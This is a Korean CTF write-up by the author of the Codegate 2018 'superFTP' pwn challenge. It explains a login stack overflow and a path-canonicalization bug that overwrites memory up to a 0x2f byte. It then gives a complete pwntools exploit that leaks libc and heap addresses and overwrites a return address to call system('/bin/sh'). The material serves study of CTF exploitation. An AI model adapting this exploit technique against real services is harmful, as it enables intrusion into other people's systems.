Codegate2018 superFTP

By pesante | February 16, 2018

Codegate2018 superFTP 출제자 WriteUp

안녕하세요. 블랙펄시큐리티 pesante입니다.

2018년도 코드게이트에 출제했던 문제 superFTP에 대한 풀이를 써보려고 합니다.

사실 superFTP는 생각보다 선택지가 많지 않고 취약점도 쉽게 트리거할 수 있는 문제입니다. 하지만 c++로 제작되고 보호기법이 모두 걸려있다 보니 분석이 오래 걸릴 수 있습니다.


gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL


해당 바이너리에서 취약점이 존재하는 기능들은 다음과 같습니다.


  1. login 기능을 할때 id와 pw를 입력받는 과정에서 스택 오버플로우가 존재합니다.
  2. Download file을 할 시 URL을 입력받게 되는데 경로를 Canonicalization 합니다.
    • 즉 “/path1/path2/../path3”를 전달하면 /../를 앞 부분의 슬래시를 찾아 지우고 “/path1/path3”로 변환합니다.
    • 하지만 “/../a”와 같은 경우 앞부분의 슬래시가 존재하지 않기 때문에 메모리에서 다음 슬래시(0x2f)값이 나올때까지 찾아 바꾸게 됩니다. 즉 메모리에서 0x2f가 존재하는 부분을 덮을 수 있습니다.


사실 1번은 함정으로 넣으려고 했던건데, 급하게 문제를 출제하는 바람에 의도하지 않은 풀이가 발생했습니다.
다음은 PPP팀에서 푼 writeup입니다.


PPP - Codegate2018 SuperFTP Writeup


위의 링크에서는 canary가 랜덤으로 생성되므로 0x2f가 들어갈 때 카나리를 leak하고 1번 취약점을 통해 exploit을 했습니다. 쉘을 획득 가능하지만 브루트포싱을 해야 하므로 조금 시간이 걸릴 수 있습니다.

사실 의도한 풀이 과정은 다음과 같습니다.


  1. join (“/bin/sh 삽입”)
  2. login을 0x2e 반복(main 함수의 로그인 횟수를 0x2e로 설정)
  3. 파일 다운로드 기능을 통해 url을 “/../a”처럼 설정하면 heap에 url이 할당되어 0x2f까지 거슬러올라가 String 객체의 길이를 overwrite
  4. print information 기능을 선택하면 길이가 덮인 String 객체를 출력해주면서 libc의 주소와 heap의 주소를 leak
  5. admin으로 로그인하여 (로그인 횟수 0x2f로 변경됨) debug mode로 들어가면 debug 기능을 통해 각 함수를 디버깅 가능. 아까와 같은 url을 canonicalization하는 함수가 있는데 디버깅 모드로 호출하는 함수는 힙이 아닌 스택에 url이 할당됨. 따라서 main에 있는 로그인 횟수(0x2f)를 찾아 위로 스택을 덮게 되고 ret을 overwrite 할 수 있음
  6. system 함수는 leak한 libc를 통해 오프셋을 더하여 구할 수 있고 “/bin/sh”의 주소는 leak한 heap을 통해 오프셋을 더하여 구할 수 있으므로 쉘을 획득 하는 것이 가능


단, url을 canonicalization 할 때 문자열을 뒤집어서 결과를 구하는데 overwrite 될 때도 뒤집어진 채로 들어가므로 system 함수와 “/bin/sh”의 주소를 거꾸로 넣어야 합니다.


해당 문제에 대한 풀이는 다음과 같습니다.


#-*- coding: utf-8 -*-

from pwn import *

s=remote('127.0.0.1', 8888)

raw_input()


leak_system_offset=0x176068
leakh_binaddr_offset=0xb

system_addr=0
bin_addr=0

#join 을 통한 /bin/sh 삽입
print s.recv(1024)
s.send(p32(1))
print s.recv(1024)
s.send('/estt/bin/sh'+'\n')
print s.recv(1024)
s.send('47'+'\n')
print s.recv(1024)
s.send('test'+'\n')
print s.recv(1024)
s.send('test'+'\n')
print s.recv(1024)


#login 0x2e만큼 반복
for i in range(0, 46):
    s.send(p32(3))
    s.send('test'+'\n')
    print s.recv(1024)
    s.send('test'+'\n')
    print s.recv(1024)

#heap leak을 통해 libc와 heap 주소 얻어옴
s.send(p32(5))
print s.recv(1024)
s.send('/../a'+'\n')
print s.recv(1024)

s.send(p32(2))
s.recvuntil('Name : ')

leakdata=s.recv(1024)

libc=u32(leakdata[28:32])
heap=u32(leakdata[32:36])

system_addr=libc-leak_system_offset
bin_addr=heap-leakh_binaddr_offset

print hex(libc)
print hex(heap)
print hex(system_addr)
print hex(bin_addr)

#admin login과 동시에 main의 로그인 횟수 변수는 0x2f가 됨
s.send(p32(3))
s.send('admin'+'\n')
print s.recv(1024)
s.send('P3ssw0rd'+'\n')
print s.recv(1024)

#debug
s.send(p32(7))
print s.recv(1024)

#debugF을 통해 URL Canonicalization 함수 호출
s.send(p32(8))
s.send(p32(1))
print s.recv(1024)

#main의 0x2f를 덮으려면 두 번 슬래시를 넘어가야 함. /../../를 통해 main부터 ret을 거꾸로 덮음
s.send('/../../'+p32(bin_addr)[::-1]*3+p32(system_addr)[::-1]*2+'\n')
s.interactive()


모두 문제 푸시느라 수고하셨습니다!

comments powered by Disqus